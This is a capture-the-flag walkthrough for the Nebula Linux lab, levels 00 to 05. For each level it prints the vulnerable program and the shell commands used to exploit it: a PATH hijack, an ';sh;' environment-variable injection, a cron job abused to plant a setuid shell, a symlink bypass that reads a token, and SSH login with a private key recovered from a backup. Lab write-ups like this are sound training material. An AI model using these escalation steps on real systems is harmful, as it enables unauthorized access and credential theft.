index search github twitter

Exploit-Exercises: Nebula (00-05)

Image: Exploit-Exercises: Nebula (v5)

Because it was not possible to log in via ssh, we generated the host key:

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

Level00

level00@nebula:~$ find / \( -perm -4000 \) 2>/dev/null 
/bin/.../flag00
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
[ .. SNIP .. ]

We found a suspicious file on the first line, after executing, we obtained flag.

level00@nebula:~$ id
uid=1001(level00) gid=1001(level00) groups=1001(level00)
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ id
uid=999(flag00) gid=1001(level00) groups=999(flag00),1001(level00)
flag00@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level01

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Solution:

level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ echo 'sh' > echo
level01@nebula:~$ chmod +x ./echo
level01@nebula:~$ id
uid=1002(level01) gid=1002(level01) groups=1002(level01)
level01@nebula:~$ /home/flag01/flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level02

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Solution:

level02@nebula:~$ export USER=';sh;'
level02@nebula:~$ /home/flag02/flag02 
about to call system("/bin/echo ;sh; is cool")

sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level03

There is a crontab entry that is called every couple of minutes.

Because the /tmp is mounted with nosuid option, we use home directory to store suid binary:

level03@nebula:~$ mount | grep nosuid
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev)
none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)
none on /run/shm type tmpfs (rw,nosuid,nodev)
vmware-vmblock on /run/vmblock-fuse type fuse.vmware-vmblock (rw,nosuid,nodev,default_permissions,allow_other)

The file invoked by cron is here:

level03@nebula:/home/flag03$ cat writable.sh 
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

Our code to obtain suid shell:

level03@nebula:~$ cd /home/flag03/writable.d/

level03@nebula:/home/flag03/writable.d$ echo '#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   setreuid(geteuid(),geteuid());
   execve("/bin/sh", NULL, NULL);

   return 0;
}
' > /tmp/run.c


level03@nebula:/home/flag03/writable.d$ echo '#!/bin/bash
gcc /tmp/run.c -o /home/flag03/x
chmod +s /home/flag03/x
' > run.sh
level03@nebula:/home/flag03/writable.d$ chmod +x run.sh

After a little waiting, the suid binary is created:

level03@nebula:/home/flag03/writable.d$ ../x 
bash-4.2$ getflag 
You have successfully executed getflag on a target account

Level04

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

We cannot read the token file, but symlink technique is sufficient:

level04@nebula:~$ cd /home/flag04/
level04@nebula:/home/flag04$ ./flag04 
./flag04 [file to read]
level04@nebula:/home/flag04$ ./flag04 token 
You may not access 'token'
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/x
level04@nebula:/home/flag04$ ./flag04 /tmp/x 
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su - flag04
Password: 
flag04@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level05

In /home/flag05 we can find the backup file with ssh private key.

level05@nebula:/home/flag05$ tar xvzf .backup/backup-19072011.tgz  -C /tmp/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

level05@nebula:/home/flag05$ ssh -i /tmp/.ssh/id_rsa flag05@0
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account